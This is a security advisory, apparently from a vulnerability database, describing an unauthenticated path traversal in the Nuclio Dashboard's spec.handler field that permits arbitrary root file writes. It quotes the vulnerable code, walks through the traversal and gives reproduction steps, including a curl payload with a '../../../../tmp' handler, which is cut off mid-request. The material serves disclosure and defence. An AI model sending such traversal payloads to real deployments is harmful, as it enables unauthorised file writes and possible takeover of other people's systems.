Résumé
Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container
Détails de l’avis
Summary
Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.
During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).
The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.
- CVSS 3.1:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N— 7.5 (High) - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
- Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)
Details
Root Cause
The vulnerability spans three functions. The path from user input to disk write is:
1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):
// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
moduleAndEntrypoint := strings.Split(handler, ":")
switch len(moduleAndEntrypoint) {
case 1:
return "", moduleAndEntrypoint[0], nil
case 2:
// Returns moduleFileName verbatim — no path sanitization
return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
default:
return "", "", errors.Errorf("Invalid handler name %s", handler)
}
}
Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".
2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):
// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source
runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)
moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled
if !strings.Contains(moduleFileName, ".") {
moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is
sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt" <-- escaped tempDir
b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
// Writes attacker-controlled bytes to attacker-controlled path
3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):
// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists
Path Traversal Calculation
tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components)
handler = "../../../../tmp/vul007_proof.txt:handler"
module = "../../../../tmp/vul007_proof.txt"
path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")
Traversal:
/tmp/nuclio-build-227825660/source (start)
../ -> /tmp/nuclio-build-227825660
../ -> /tmp
../ -> / (filesystem root)
../ -> / (cannot go above root)
tmp/vul007_proof.txt -> /tmp/vul007_proof.txt
The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.
Full Attack Chain
Unauthenticated HTTP client
-> POST /api/functions (no auth, NOP mode)
dashboard/resource/function.go:156 storeAndDeployFunction()
-> platform.CreateFunction()
platform/kube/platform.go:193
-> abstract/platform.go:191 HandleDeployFunction()
-> abstract/platform.go:119 CreateFunctionBuild()
-> builder.Build()
processor/build/builder.go:195
-> builder.resolveFunctionPath()
builder.go:664
-> builder.writeFunctionSourceCodeToTempFile() <-- file write here
builder.go:613
-> os.WriteFile(attacker_path, attacker_content, 0644)
builder.go:657
PoC — Steps to Reproduce
Environment Setup
The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.
Step 1: Create isolated kind cluster with Docker socket mounted
The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:
cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraMounts:
- hostPath: /var/run/docker.sock
containerPath: /var/run/docker.sock
EOF
kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml
Expected output:
Creating cluster "vul-007" ...
✓ Ensuring node image (kindest/node:v1.27.3)
✓ Preparing nodes
✓ Writing configuration
✓ Starting control-plane
✓ Installing CNI
✓ Installing StorageClass
Set kubectl context to "kind-vul-007"
Verify Docker socket is available inside the cluster node:
docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock
Step 2: Deploy Nuclio via Helm
# Create namespace
kubectl --context kind-vul-007 create namespace nuclio
# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
--namespace nuclio \
--kube-context kind-vul-007 \
--set controller.image.pullPolicy=Never \
--set dashboard.image.pullPolicy=Never \
--set registry.pushPullUrl="localhost:5000" \
--set dashboard.containerBuilderKind=docker
Step 3: Wait for Dashboard to be ready
kubectl --context kind-vul-007 wait -n nuclio \
--for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met
Step 4: Expose Dashboard locally
kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200
Step 5: Create default project (required by Dashboard API)
curl -s -X POST http://localhost:8073/api/projects \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'
Exploitation
Step 6: Send path traversal request
The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.
curl -v -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../tmp/vul007_proof.txt:handler",
Références
Vulnérabilités liées
Tout Supply chain →- HIGHCVE-2026-75859
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository
- HIGHCVE-2026-75914
CodeWhale: image_analyze follows workspace symlinks, leaking external file bytes
- HIGHCVE-2026-69086
SiYuan: Path Traversal via unvalidated avID in RenderAttributeView/AV read endpoints : reader-reachable cross-scope attribute-view disclosure
- MEDIUMCVE-2026-61625
VictoriaMetrics vmrestore: Path traversal via crafted backup part names escapes restore root
- MEDIUMCVE-2026-75602
OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool
- MEDIUMGHSA-gw25-m53r-qh88
SiYuan: path traversal via /export/temp/ short-circuit branch (incomplete fix for the export-disclosure hardening, GHSA-6865-qjcf-286f)